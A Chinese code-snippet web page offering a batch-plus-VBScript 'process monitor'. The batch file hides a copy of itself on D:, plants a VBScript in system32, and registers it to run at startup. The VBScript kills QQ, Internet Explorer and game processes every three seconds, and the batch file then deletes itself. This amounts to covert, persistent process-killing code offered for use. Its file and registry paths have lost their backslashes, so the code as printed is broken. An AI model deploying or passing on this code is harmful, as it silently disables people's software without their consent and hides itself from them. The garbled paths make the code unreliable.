进程监控实现代码[vbs+bat]
进程监控实现代码[vbs+bat]
发布时间:2016-12-28 来源:查字典编辑
摘要:运行后会在%windir%system32目录下生成jk.vbs,并且自动添加注册表启动项,另外在D:会生成一个隐藏属性的JK.VBS,3秒...

运行后会在%windir%system32目录下生成jk.vbs,

并且自动添加注册表启动项,另外在D:会生成一个隐藏属性的JK.VBS,

3秒间隔监控进程,如果进程中有QQ.exe、iexplore.exe、client.exe、game.exe进程则会自动结束进程。

复制代码 代码如下:

@echo off

attrib -s -h -a -r d:jk.bat 1>nul 2>nul

if exist d:jk.bat del d:jk.bat /q

copy %0 d:jk.bat /y >nul

attrib +s +h +a +r d:jk.bat

if exist %windir%system32jk.vbs del %windir%system32jk.vbs

echo y|reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v DATA /t REG_SZ /d c:windowssystem32jk.vbs >nul

echo Do>>%windir%system32jk.vbs

echo WScript.Sleep 3000>>%windir%system32jk.vbs

echo strComputer = "." >>%windir%system32jk.vbs

echo Set objWMIService = GetObject("winmgmts:" ^& strComputer ^& "rootCIMV2") >>%windir%system32jk.vbs

echo Set colItems = objWMIService.ExecQuery( _>>%windir%system32jk.vbs

echo "SELECT * FROM Win32_Process",,48)>>%windir%system32jk.vbs

echo For Each objItem in colItems >>%windir%system32jk.vbs

echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%system32jk.vbs

echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%system32jk.vbs

echo Then objitem.Terminate()>>%windir%system32jk.vbs

echo Next>>%windir%system32jk.vbs

echo loop>>%windir%system32jk.vbs

start %windir%system32jk.vbs

del %0 /q

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新vbs学习
热门vbs学习
脚本专栏子分类